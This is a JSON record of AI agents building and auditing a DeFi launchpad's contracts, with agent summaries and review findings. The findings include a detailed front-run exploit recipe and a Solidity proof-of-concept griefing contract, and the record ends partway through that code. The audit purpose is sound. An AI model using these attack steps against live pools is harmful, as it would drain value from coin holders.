{"assessments":[],"deployments":[{"attestationHash":"c8298e9367bc8d5485282b2526654e2debad15aa8b1932949cf6c765b2e69bef","chainId":4663,"contracts":[],"id":"54764d86-28ff-45a2-bd6b-b66cec00069d","manifestHash":"c5c93829b14d116073b3fd5dba6f871f9b33e06d9b513d6d891968156e086e66","status":"parked"}],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"6dfdaa90-06b3-43ff-8ccb-58d8e5b3a3ee","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"ab3c20e394bdfa67904e1722d9b0fc418e5b2a6d320c6c4b4889af5aadfd067e","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"def4a421feb6987d69c9c9b51b6cc4d083fc8777e580c232e5c3bc73909c4abf","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"a361c95003138470d3298429052c11a380aa31098868bcf88c0fd154f26b8922","dependsOn":["build_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"bbc65cce0c0ff089e7cc4bdc2ab2a644a1a511103c82893c29c0230c2e8c325f","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"a073cce1b7ace58d9fcb39445124ddf686ef798b1ce53c90d5c1408361d11eb0","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"84ced9b8715b23577f23e7e26eed58ea0b8fd9dd6f2015b6d6e81112079ae0dd","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"6b8d2c2ebd3301cff2be8edb1e1cc6ba65c858c02fe7247be81722b969842265","skillId":"build-contract-project","tools":[]},"key":"build_contract_project","kind":"code","role":"implement","skillHash":"6b8d2c2ebd3301cff2be8edb1e1cc6ba65c858c02fe7247be81722b969842265","skillId":"build-contract-project","state":"accepted"},{"acceptedSubmissionHash":"5fc7810269c0da4c4cf8e3f5e26e7fe5979460a0eee19a9bb89bbb2a8d0c1233","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"accepted"},{"acceptedSubmissionHash":"c6b85874a8e5475e4c3de21564643729dbdf21e93010a8c254ac753e9656b7f4","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"4c76766b00591dfe982fe85d3de589fdb2f810e5137c301155d1c5e36a1d3b23","skillId":"write-foundry-tests","tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"4c76766b00591dfe982fe85d3de589fdb2f810e5137c301155d1c5e36a1d3b23","skillId":"write-foundry-tests","state":"accepted"}],"objective":"PvP Pad v4 on Robinhood Chain (4663): launchpad where every launch is a fast Spireth game played in ETH, and every coin graduates into a coin/IMD pool.\n\nDECISION (final): contracts only. This launch mints NO token at deployment: no token name or symbol, no pool, no distributor; all tokens (PvP included) are created later by the pad itself. No website or URL in this job; a later job.continue builds it.\n\nBASE: a fresh deployment of github.com/identity-md-launches/launch-1764-pvp-pad-v3-robinhood @c3a2fac8312fac1dabbd8deca78a987e180523c8 (launch 1764, deployed, never opened). Keep everything there (raffle, tips, king settlement and reign stamps, upkeep gas caps, carry rules, real v4-core tests, every fix in docs/AUDIT.md) except the changes below. Deploy rules still hold: one transaction under 16,777,216 gas (target <13M incl. later openPad), each runtime <24,576 bytes (if one would exceed it, move logic into an extra manifest contract; no linked libraries), constructors take only static args and call nothing outside the manifest, nothing called after deployment.\n\nIMD: 0x5f7bb59365ce557c26dbcaa4ee9d39a4b95b7127, treat as a plain ERC20 with internal accounting. Live IMD/ETH pool (~68 ETH deep): currency0 native ETH, currency1 IMD, fee 10000, tickSpacing 100, no hooks (pool id 0xd2fc01ee6f8400b6b4ea3b341a188568f2bd6c72b07b96741a82396fa6eb8f02). Pass IMD and this key as constructor args.\n\nCHANGE 1, BAIL OUT. During play only, a seated wallet (alive or croaked) may call bailOut(minOut): all its coins of that game go back to the curve as a normal constant-product sell worth V; C = curve ETH its rolls actually spent. If V >= C it receives C + (V - C)/2, else 0.9*V; the rest of V goes to the game pot. Revert if the payout < minOut. The Pepito is erased: it cannot roll, rank, ring a bell, count as living or earn pot; a pending roll still resolves (tip paid) with no effect. Bail-out pot additions do not raise rollPot for fundedReleaseCap, and the cap's curve-ETH term uses net curve ETH. Re-derive AUDIT.md #13 with bail-outs and show a sole-buyer sybil still loses.\n\nCHANGE 2, GRADUATE INTO IMD. After finalize, curve ETH is converted to IMD in chunks, then graduation seeds a coin/IMD pool:\n- convertChunk(game), public and in bounded upkeep: swaps only what moves the IMD/ETH price 1% (sqrt-price limit from current spot, like burnChunk), at most once per 30 s per game, via PoolManager.unlock with own funds; partial fills keep the rest for the next chunk.\n- When all curve ETH is converted, graduate() initializes coin/IMD (sorted currencies, fee 10000, tickSpacing 200, hooks = PadHook) at the equivalent of the final curve price: LP coins = converted ETH / final curve price, IMD per coin = IMD received / LP coins; full range, LP owned forever by PadLiquidity; excess coins to dEaD; the token unlocks in that tx.\n- Never stranded: if conversion makes no progress for 24 h, graduate with the IMD converted so far and send unconverted ETH to the carry pot; if no IMD could be converted at all, graduate into a coin/ETH pool exactly as v3.\n- status() gains a converting phase; views and events for conversion progress. King fees stay in kind (now IMD and coins).\n\nCHANGE 3, BURN. burnChunk buys PvP through ETH -> IMD -> PvP (two hops in one unlock, each with the 1% price limit; unspent ETH stays in the bucket). Same 0.02 ETH per 10 min cap.\n\nTESTS on the real v4-core PoolManager with a test IMD/ETH pool matching the key: bail-out in profit, at a loss and below minOut; erased Pepito excluded from ranking, bell, living count and funded release; bail-out after the curve sold out; ETH and token conservation; sybil with bail-outs loses; conversion price limit, interval and partial fills; a sandwich on a chunk does not pay; graduation price equivalence and unlock; both 24 h fallbacks; two-hop burn; king fees in IMD and coins; every v3 regression still passes.\n\nLAUNCH.JSON: like the repo plus the new constructor args; args are strings, addresses lowercase. foundry.toml keeps bytecode_hash = \"none\", cbor_metadata = false. Validate it. Never deploy, broadcast or call RPCs.\n\nDELIVER: Foundry project; docs/AUDIT.md updated for v4; test report with gas; docs/VERIFY.md (robin.etherscan.io); README: legal review and an independent audit before public launch.\n\nToken name: DONOTBUY\nToken symbol: DNB\nTotal supply: 1","parentJobId":null,"planHash":"df285d554e7fb2ca78ae5b9068562bdcdd09b4ed8faee3309c24f911c8ce9cec","previousHash":"a885d1539b47bdb43df7e1c504eae485357bcb4b4161ba802d282874c1993b35","projectId":"6dfdaa90-06b3-43ff-8ccb-58d8e5b3a3ee","publication":{"commit":"a9a48cb4b458f35160da7ec0693e4b422be684ca","deliveredAt":"2026-10-15T15:43:10.949Z","repoUrl":"https://github.com/identity-md-launches/launch-1832-donotbuy"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[],"site":null,"snapshotHash":"ced048531579b6f46c022c919bff7925a04843299db8b9f2598a42bc07c5e2e1","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":"3827cd084e350e94f492a1ab104977c7b5573c246b10bb22c119dbe262686dae","device":"6f41bd9b44d3e708","findings":[],"hash":"2952b8ff67bd81ec75aed6cdd800dec3a3c11c9dff09e5f3b7e539b71829ba91","nodeId":"a6197ea9-91af-4090-abdb-03d86b5debe8","outcome":"completed","summary":"All four required proofs now pass, and I answered all seven findings in `.imd-responses.json`. `forge build`, `forge test` (231 passed, 0 failed, including the four proofs) and `forge fmt --check` all pass with the pinned compiler and fuzz seed. Combined deployment plus later `openPad` gas is 12,963,623, still under the 13M target.\n\n**The four required fixes (each reproduced first):**\n- **Held front-run across all chunks (f2032eaa):** when a game finalizes, it now records the IMD/ETH price as a reference point for that game. A chunk never pushes the price more than 1% from spot, and never more than about 2% below that reference. If the price is already past that line, the chunk is skipped and doesn't use up the 30 s interval. The reference slides down about 1% per hour, so a genuine market move is followed within hours. In the proof's scenario the attacker's chunks are all refused and it loses both venue fees. One risk remains, written up in `docs/AUDIT.md`: someone can move the price before `finalize` itself, but then has to hold that position against arbitrage for the whole conversion.\n- **Nested-unlock starvation (d74f26e2):** `convertChunk` now rejects callers who are inside a PoolManager unlock. It also records an attempt only after the swap call has actually returned, so failed attempts no longer use up the interval.\n- **Dust fills (0183622a):** a fill only resets the 24 h stall clock once at least 0.1% of the escrow has converted since the last reset. Any conversion also ends at most 7 days after its escrow was created.\n- **Stall clock started at finalization (ff0950e5):** the 24 h clock now starts when the escrow is created, so a game nobody touched for a day still gets a real swap on a healthy venue before the native-pool fallback.\n\n**The three advisory findings:**\n- **IMD with no return value (1c54845c):** fixed. IMD transfers now also accept tokens whose `transfer` returns nothing, and a test covers it.\n- **Bail-out bringing a genesis to zero curve ETH (a5b159e5):** I kept the behaviour, because a game with no curve ETH has nothing to put in a pool. I corrected the docs that wrongly said a played genesis can't fail (AUDIT #4 and the `restartGenesis` comment).\n- **Late bail-out cancelling the funded release (24df0131):** disputed. The brief says an erased seat must not count as living, and the suggested fix would break that. No funds are lost; the money goes back to the carry pot.\n\n**Things to know:**\n- **Deployment gas:** the new code pushed deployment plus `openPad` to about 13.29M, over the 13M target. To get back under, I moved repeated checks and external calls in `PadGame`, `PadLiquidity` and `PvPPad` into small internal helpers, without changing behaviour. The suite still passes.\n- **Edited existing tests:** two test helpers in `Base.t.sol` and `Game.t.sol` now count the 24 h from escrow creation instead of finalization. The sandwich fuzz test now expects zero conversion when a front-run pushes the price past the 2% line.\n- **New tests and docs:** 8 new tests in `test/V4Pad.t.sol` on the real v4-core PoolManager. `docs/AUDIT.md` (#4, #13, #32, #33 and a new #37), the README and `docs/TEST-REPORT.md` are updated with the new figures.\n\nNothing is committed.","treeHash":"26abf727afae17f2c0585f3c33b739d22083b807","usage":{"cachedInputTokens":7481699,"inputTokens":116,"model":"claude-opus-5-5","outputTokens":70972,"runtime":"claude","turns":59,"wallClockMs":2043305}},{"artifacts":[],"attempt":1,"bundleHash":"55df282f1d1015800e872cc95cd1717cce6baf4fe74b68cbdf2f6e9c547fb01b","device":"37eed9f56188ea8b","findings":[],"hash":"5fc7810269c0da4c4cf8e3f5e26e7fe5979460a0eee19a9bb89bbb2a8d0c1233","nodeId":"f25d3e49-061f-44c3-802c-367f1770e488","outcome":"completed","summary":"launch.json is written and validated. Only that file changed.\n\n**What the manifest describes.** Five contracts in constructor dependency order, matching the accepted v4 source: PadToken and PadGame as sealed templates with no arguments, PvPPad with the owner and both templates, PadLiquidity with the inherited PoolManager, the pad, IMD and the IMD/ETH PoolId, and KingOfThePad with the pad, liquidity and the owner as dev recipient. Both privileged roles are $owner. The PoolId argument was checked in a scratch test against the key the brief gives (native ETH, IMD, fee 10000, tickSpacing 100, no hooks) and matches what the PadLiquidity constructor recomputes.\n\n**Checks run.**\n\n| Check | Result |\n|---|---|\n| tools/validate_manifest.py | valid, all runtimes under 24,576 bytes, no forbidden opcodes |\n| forge build | clean |\n| forge test with the verifier's fuzz seed | 229 passed, 0 failed |\n| Atomic deployment rehearsal gas incl. later openPad | 12,962,770, under the 13M target |\n| Notes length | 3,668 characters, addresses lowercase |\n\n**Why the earlier attempt failed.** It was rejected at clone time because its accepted work conflicted with a dependency that later touched the same files. This run started from the clean tree that already carries the merged v4 source, so the manifest now describes exactly that tree. No deployment, broadcast or RPC call was made.","treeHash":"da1432538d56c6254086c4f6efc0bb429c170234","usage":{"cachedInputTokens":416473,"inputTokens":258,"model":"claude-fable-5-1","outputTokens":8625,"runtime":"claude","turns":21,"wallClockMs":477662}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"a5c5e95a2ed07117","findings":[{"citation":"resolved","description":"Settles finding f2032eaae82b (held front-run across all chunks): the fix does not hold. The anchor that bounds every chunk is now the IMD/ETH spot read by PadLiquidity.observe() inside _finalize (src/PadGame.sol:669, src/PadLiquidity.sol:238-241), and the band is max(0.995*spot, 0.99*anchor) (src/PadLiquidity.sol:274-287). But finalize() is permissionless (src/PadGame.sol:366-370) and becomes callable at a time anyone can compute (ended() && pendingCount == 0), so the attacker that was already going to drive every convertChunk simply sends one transaction that swaps ETH -> IMD and then calls finalize(): observe() anchors at the spot the attacker just set, and every subsequent chunk is bounded relative to the manipulated price. The attacker then drives the chunks 30 s apart and sells back after the last one, exactly as in the original finding. Measured on the real v4-core PoolManager with the production IMD/ETH key (price 1, 68e18 full-range liquidity, fee 1%), escrow 0.801 ETH: with a 10 ETH position the game receives 0.598 IMD instead of ~0.79 IMD (-24.5%) and the attacker ends with 10.00186 ETH; with a 5 ETH position the game receives 0.682 IMD (-14%) and the attacker ends with 5.00776 ETH, after paying both 1% venue fees. The game's loss scales with the escrow (break-even for the attacker is roughly a 0.9 ETH escrow on this venue; at the 4 ETH sell-out the model gives ~0.7 ETH profit), and the shortfall lands in PadLiquidity.graduate (imdReceived / coins), reducing every coin holder's LP exit value and the king's in-kind fees. docs/AUDIT.md #37 states the residual as 'the game's cumulative impact is bounded by 2% plus elapsed decay'; that bound only holds relative to the anchor, and the anchor itself is the attacker's price, so the statement is wrong for this path. The holding-against-arbitrage risk is identical to the original attack (the position is held for the same chunk sequence), so the fix adds a timing step the attacker satisfies for free rather than a cost. Mitigations that keep the design: observe the spot at every pad touch during the game (each roll, enter and poke already runs upkeep) and keep the decayed maximum as the anchor, so the position must be held for the whole game rather than for the conversion only; or take the anchor as max(spot at finalize, spot recorded by the game's previous upkeep, decayed), so a same-transaction push before finalize cannot lower it; or document the real residual: a self-finalizing front-runner extracts up to (its push + 2%) of the escrow on this venue.","line":669,"path":"src/PadGame.sol","reproduction":"Real v4-core PoolManager; IMD/ETH pool at sqrtPrice 2^96 with 68e18 full-range liquidity, fee 10000, tickSpacing 100 (production key). openPad, 12 wallets enter PVP, each rolls every 61 s until the game ends; warp past endTime; resolvePending until pendingCount == 0 (finalize NOT yet called; ethRaised = 0.801 ETH). Attacker contract, one transaction: pm.unlock swap 10 ETH -> IMD on the IMD/ETH key, then pvp.finalize(). Then the attacker calls liq.convertChunk(pvp) every 30 s until conversions(pvp).remainingEth == 0 (no stall occurred; had one occurred the attacker sells a slice of IMD and retries). Then it swaps all its IMD -> ETH. Expected (AUDIT #37: 'cumulative impact bounded by 2% plus elapsed decay', and the sandwich claim): the attacker loses both venue fees and the game receives about 0.79 IMD. Actual: anchorOf(pvp) = 69159371642746790197188557418 (the pushed spot, 0.873 of 2^96), imdReceived = 598152650434972158, attacker balance 10001857648177781203 wei > 10 ether. With a 5 ETH position: imdReceived 681615561942869326, attacker balance 5007760912014282249 wei > 5 ether. Run: forge test --match-path test/scratch/ReviewAnchorFrontRun.t.sol -vv (both tests fail: 'front-run bundled with finalize must not profit').","severity":"medium","snippet":"            try IPadLiquidity(liquidity).observe{gas: 80_000}(launchId) {} catch {}","title":"Anchor fix for the held front-run does not hold: finalize() is permissionless, so the attacker bundles its IMD buy with its own finalize() and observe() records the pushed spot; the game still convert"},{"citation":"resolved","description":"Settles finding b9bf63de (dev recipient vs owner). launch.json now passes \"$owner\" as KingOfThePad's dev_ (launch.json:34) and its notes say owner and dev are both $owner, so the deployed privilege map is internally consistent: the paying wallet (or the owner the request names) holds both roles. The author's answer said 'No other file changed', and that is the residual defect: README.md:25 still lists the static 0x5b95a971b4583a5f011e9da082acdd679b870d06 as the fifth contract's third constructor argument, README.md:27 says 'Owner and dev are 0x5b95a971b4583a5f011e9da082acdd679b870d06', and docs/AUDIT.md:18 (Privileges table) names 'Owner / dev (0x5b95…0d06)'. The brief names no owner, so $owner resolves to the wallet that paid, which the manifest cannot pin to that address. A reader of README/AUDIT would verify the deployment against the wrong constructor argument (the etherscan verification guide docs/VERIFY.md is built on README's table) and would expect a specific wallet to hold the openPad and dev-share powers. Documentation only; no code or manifest change needed beyond stating that both arguments are $owner (the paying wallet) or naming the owner in the brief.","line":25,"path":"README.md","reproduction":"Compare launch.json contracts[4].constructorArgs[2] (\"$owner\") with README.md line 25 (static 0x5b95a971b4583a5f011e9da082acdd679b870d06) and README.md line 27 / docs/AUDIT.md line 18 ('Owner and dev are 0x5b95…0d06'). Resolve the manifest with any paying wallet W != 0x5b95...0d06: PvPPad.owner() == W and KingOfThePad.dev() == W, while the README states both are 0x5b95...0d06. Expected: README/AUDIT describe the manifest as submitted ($owner for both). Actual: they describe the previous manifest.","severity":"low","snippet":"| 5 | `KingOfThePad` | `$contract:PvPPad`, `$contract:PadLiquidity`, `0x5b95a971b4583a5f011e9da082acdd679b870d06` |","title":"README and AUDIT still document KingOfThePad's dev as the static 0x5b95...0d06 while launch.json now passes $owner for it"}],"hash":"656e2275f296032ce239b64de273d3edd2d1c50ba1061777348f2f2f4c89c81d","nodeId":"3912a551-e552-404c-98a6-814d2cc6875d","outcome":"completed","summary":"Review complete. The findings file is written at `.imd-findings.json` with two findings and a 50-row coverage record. Nothing else in the tree was changed; `test/scratch/` holds only my proof copies.\n\n**Settled from the earlier round**\n\n- **Nested-unlock interval starvation (d74f26e2): fixed.** convertChunk now calls requireManagerLocked first and stamps lastAttempt only after the venue call returns. The attached proof passes.\n- **Dust fills blocking the 24 h fallback (0183622a): fixed.** Progress counts only above 1/1000 of the escrow, and a 7-day cap bounds the conversion. The attached proof passes.\n- **Stall clock anchored at finalizedAt (ff0950e5): fixed.** startConversion stamps the clock at escrow creation. The attached proof passes.\n- **No-return IMD transfer (1c54845c): fixed.** Settlement and fee payment use a tolerant low-level transfer.\n- **Late bail-out vetoing the funded release (24df0131): dropped.** The author's dispute is right. The brief requires the erased seat not to count as living.\n- **Sole-roller bail-out failing the genesis (a5b159e5): fixed** by the NatSpec and AUDIT #4 documentation change.\n- All 248 tests in the repository suite pass, including the author's new ones.\n\n**What remains open**\n\n1. **Medium, held front-run (f2032eaa) not resolved.** The anchor is read inside finalize, and finalize is permissionless. An attacker swaps ETH to IMD and calls finalize in the same transaction, so the anchor is its own pushed price. It then drives the chunks and sells back, exactly as before. On the production venue with a 0.801 ETH escrow the game received 24% less IMD with a 10 ETH position and 14% less with 5 ETH, and the attacker ended above its starting balance both times. The proof is `test/scratch/ReviewAnchorFrontRun.t.sol`, two failing tests. AUDIT #37's claim that cumulative impact is bounded by 2% plus decay does not hold on this path. Suggested mitigations stay within the design: observe the spot at every upkeep during the game and anchor to the decayed maximum, or anchor to max(spot at finalize, spot at the previous upkeep).\n2. **Low, stale documentation.** launch.json now passes `$owner` for the KingOfThePad dev, but README lines 25 and 27 and the AUDIT privileges table still state the static 0x5b95…0d06 address.\n\nCoverage marks finalize, convertChunk and observe as finding 1. Every other entry point is recorded as holds with a one-line reason.","treeHash":null,"usage":{"cachedInputTokens":2200704,"inputTokens":676,"model":"claude-fable-5-1","outputTokens":32526,"runtime":"claude","turns":23,"wallClockMs":1139602}},{"artifacts":[],"attempt":1,"bundleHash":"2a8e80928e94bc7ef7becd42accb1ec9fa1edbec3aaa9be10a4bf62a5650df2e","device":"2565f234b0a569e9","findings":[],"hash":"84ced9b8715b23577f23e7e26eed58ea0b8fd9dd6f2015b6d6e81112079ae0dd","nodeId":"a6197ea9-91af-4090-abdb-03d86b5debe8","outcome":"completed","summary":"The build exits 0; the earlier count only matched lint notes mentioning the `PadErrors` library. Everything is in place.\n\n## Summary\n\n**Finding 15d57b2a (self-finalizing front-run): reproduced and fixed.** I rebuilt the reviewer's scenario on the real v4-core PoolManager with the production IMD/ETH key. Before the change, the anchor equalled the attacker's pushed spot and the game converted its escrow about 15% below the fair price. The cause was that the anchor was recorded only inside the game's finalization, which the attacker triggers itself.\n\nThe fix makes the anchor pad-wide and observes it at every pad touch:\n- `PadLiquidity.observeMarket()` records the IMD/ETH spot into one shared anchor. Only a higher spot moves it, it decays 0.5% sqrt price per hour, and a spot read while the PoolManager is unlocked is ignored. Anyone may call it. The view is now `anchor()`.\n- `PvPPad._upkeep` calls it with an 80k gas cap, so every roll, entry, poke, launch, king action and finalize path refreshes it. `convertChunk` observes too.\n- The per-game anchor and `observe(launchId)` are gone. `_finalize` no longer observes directly, since every path to it already runs the pad upkeep that does. That also kept deployment gas under the 13M target after the first build came in 12.7k over.\n\nAfter the fix the same bundled transactions leave the anchor at the fair spot (decayed only by the minutes since the last roll), every chunk is refused, and the attacker ends with 9.813 ETH on a 10 ETH position or 4.904 ETH on 5 ETH. Two new tests in `test/V4Pad.t.sol` cover the bundled front-run (rolling to the hard end for a large escrow) and the observe-only-raises rule. AUDIT.md #37 now states the honest residual: a pad left untouched for T hours before someone finalizes lets a front-runner move the effective anchor by 0.5% × T in sqrt price plus the 2% band, and a genuine IMD drop larger than the elapsed decay stalls conversion until the decay catches up, with the 24h fallback as backstop.\n\n**Finding 160a005c (owner/dev docs): fixed, with a correction.** The launch.json in this tree still carried the static address for KingOfThePad's dev, not `$owner` as the finding describes. I aligned everything to the `$owner` form: launch.json, the validator, README, VERIFY.md and the AUDIT privileges table now say both arguments are `$owner`, resolved by the launch to its named owner, and tell the verifier to check the deployed `owner()` and `dev()` against the resolved address.\n\n**Checks run**\n- `forge build`: passes.\n- `forge test` with the verifier's fuzz seed: 229 tests, 0 failed (265 including the scratch reproduction).\n- `forge fmt --check`: passes.\n- Manifest validator: valid. Deployment rehearsal 12,962,770 gas including the later `openPad`.\n\nTest report and gas figures are updated in docs/TEST-REPORT.md, and both answers are in `.imd-responses.json`. The untracked dotfiles in `git status` are sandbox device nodes, not files of this work.","treeHash":"3a0d82f81f1f613d8761b604b8cb7d0d2df18841","usage":{"cachedInputTokens":3398447,"inputTokens":834,"model":"claude-fable-5-1","outputTokens":54799,"runtime":"claude","turns":44,"wallClockMs":2188214}},{"artifacts":[],"attempt":1,"bundleHash":"9b23bbaae0d6f6d8a2f9d8cd56cac2c5588cd6231e08a02638ffee6697497bbc","device":"7cb215928f3c9473","findings":[],"hash":"8c3f0deafc31c8c05ac258abbb646dd26a232cdb6f8be1a658279fb05c7fe487","nodeId":"f25d3e49-061f-44c3-802c-367f1770e488","outcome":"completed","summary":"I fixed the reviewer's finding: in `launch.json`, KingOfThePad's dev recipient was a hard-coded wallet address, and it is now `$owner`, the same as PvPPad's owner. Build and tests pass.\n\n- **Finding:** I could see it in the file. The brief names no dev wallet; that address was carried over from launch 1764. The launch rules send any payout to a wallet the brief doesn't name to `$owner`. With `$owner` in both places, the owner and the dev recipient are always the same wallet, which is what README and AUDIT already say.\n- **Notes:** I replaced the sentence calling the dev address \"explicitly specified\" with one saying both roles are `$owner`. The notes are now 2,720 characters, under the 4,000 limit, and the file still has only `kind`, `contracts` and `notes`.\n- **Scope:** `launch.json` is the only file changed. My answer for the reviewer is in `.imd-responses.json`, marked \"fixed\".\n- **Checks:** `forge build` succeeds, and `forge test` with the verifier's fuzz seed passes all 227 tests in 22 suites.","treeHash":"8990ae4d426bd9a5df710eca534ea1641d939d3c","usage":{"cachedInputTokens":140045,"inputTokens":10,"model":"claude-opus-5-5","outputTokens":1696,"runtime":"claude","turns":5,"wallClockMs":503006}},{"artifacts":[],"attempt":1,"bundleHash":"be589e8a036f7d47633d625028db7220547b7a765512ec551169b0372e4dba41","device":"c4617da5f1fd5ce8","findings":[{"description":"convertChunk(game) stamps c.lastAttempt = block.timestamp before the bounded try to executeConversion, and the catch branch only emits ConversionStalled. A caller that is itself inside PoolManager.unlock (its own unlockCallback) makes executeConversion revert immediately with AlreadyUnlocked(), so no venue swap is attempted, no progress is recorded, yet the per-game 30-second interval is consumed. Unlike distribute/retryPool/takeCrown, convertChunk has no requireManagerLocked() guard. Landing one such ~400k-gas call per 30-second window for 24 hours (2,880 calls, cheap on an Arbitrum-stack chain) keeps lastProgress at finalizedAt, so the game graduates through the fallback: unconverted curve ETH goes to the carry pot and the coin/IMD pool is seeded only with whatever was converted before (or the native coin/ETH pool when nothing was). The gas-floor check at line 226 addresses an underfunded probe but not this path. Honest upkeep (every roll/enter/poke of other games) cannot help because its own call reverts PadConversionInterval for the rest of the window. Suggested fix: call requireManagerLocked() at the start of convertChunk, and/or only stamp lastAttempt after the venue call was actually opened (e.g. stamp inside executeConversion's success path or move the stamp after a successful unlock entry).","line":227,"path":"src/PadLiquidity.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PadToken} from \"src/PadToken.sol\";\nimport {PadGame} from \"src/PadGame.sol\";\nimport {PvPPad} from \"src/PvPPad.sol\";\nimport {PadLiquidity} from \"src/PadLiquidity.sol\";\nimport {KingOfThePad} from \"src/KingOfThePad.sol\";\nimport {IPoolManager, IUnlockCallback, PoolKey, ModifyLiquidityParams, IERC20Min} from \"src/interfaces/Interfaces.sol\";\n\ncontract ArbSysStub {\n    uint256 public number = 1000;\n\n    function advance(uint256 n) external {\n        number += n;\n    }\n\n    function arbBlockNumber() external view returns (uint256) {\n        return number;\n    }\n\n    function arbBlockHash(uint256 n) external view returns (bytes32) {\n        require(n < number && n + 256 >= number, \"window\");\n        return keccak256(abi.encode(\"arb\", n));\n    }\n}\n\ncontract StubIMD {\n    mapping(address => uint256) public balanceOf;\n\n    function mint(address to, uint256 amount) external {\n        balanceOf[to] += amount;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\n/// @dev Adds IMD/ETH liquidity, and can call PadLiquidity.convertChunk from inside its own unlock.\ncontract Griefer is IUnlockCallback {\n    IPoolManager immutable pm;\n    PadLiquidity immutable liq;\n\n    constructor(IPoolManager pm_, PadLiquidity liq_) {\n        pm = pm_;\n        liq = liq_;\n    }\n\n    receive() external payable {}\n\n    function addLiquidity(PoolKey memory key, uint256 l) external {\n        pm.unlock(abi.encode(uint8(1), key, l, address(0)));\n    }\n\n    function griefConvert(address game) external {\n        pm.unlock(abi.encode(uint8(2), PoolKey(address(0), address(0), 0, 0, address(0)), uint256(0), game));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (uint8 action, PoolKey memory key, uint256 l, address game) =\n            abi.decode(data, (uint8, PoolKey, uint256, address));\n        if (action == 1) {\n            (int256 d,) = pm.modifyLiquidity(key, ModifyLiquidityParams(-887200, 887200, int256(l), 0), \"\");\n            uint256 owe0 = uint256(uint128(-int128(d >> 128)));\n            uint256 owe1 = uint256(uint128(-int128(d)));\n            pm.sync(address(0));\n            pm.settle{value: owe0}();\n            pm.sync(key.currency1);\n            IERC20Min(key.currency1).transfer(address(pm), owe1);\n            pm.settle();\n        } else {\n            // The manager is unlocked by us; PadLiquidity's own unlock will revert AlreadyUnlocked.\n            liq.convertChunk(game);\n        }\n        return \"\";\n    }\n}\n\ncontract Deployer {\n    PadToken public token;\n    PadGame public game;\n    PvPPad public pad;\n    PadLiquidity public liquidity;\n    KingOfThePad public king;\n\n    function deployAll(address owner, address pm, address imd, bytes32 id) external {\n        token = new PadToken();\n        game = new PadGame();\n        pad = new PvPPad(owner, address(token), address(game));\n        liquidity = new PadLiquidity(pm, address(pad), imd, id);\n        king = new KingOfThePad(address(pad), address(liquidity), owner);\n    }\n}\n\n/// @notice Fails on the current code: a caller inside a PoolManager unlock can consume a game's\n/// 30-second conversion interval without any progress, so repeated calls starve conversion into the\n/// 24-hour fallback. Passes once convertChunk refuses to run while the manager is unlocked (or does\n/// not record the attempt when the venue call could not even be opened).\ncontract NestedUnlockGriefTest is Test {\n    address constant IMD = 0x5F7Bb59365ce557C26dbcAa4EE9d39A4b95B7127;\n    address constant OWNER = address(0xBEEF);\n    ArbSysStub arb;\n    